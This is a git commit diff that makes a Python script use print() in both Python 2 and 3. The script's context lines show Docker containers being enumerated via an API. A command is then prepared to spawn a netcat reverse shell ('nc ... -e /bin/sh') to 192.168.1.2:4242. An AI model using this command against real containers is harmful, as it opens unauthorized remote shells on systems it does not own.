Use print() function in both Python 2 and Python 3

This commit is contained in:
cclauss
2019-02-17 23:47:18 +01:00
parent 4e17443d62
commit a3ee78fb80
23 changed files with 393 additions and 529 deletions

View File

@@ -1,3 +1,4 @@
from __future__ import print_function
import requests
import logging
import json
@@ -23,7 +24,7 @@ if r.json:
for container in r.json():
container_id = container['Id']
container_name = container['Names'][0].replace('/','')
print(container_id, container_name)
print((container_id, container_name))
# Step 2 - Prepare command
cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]'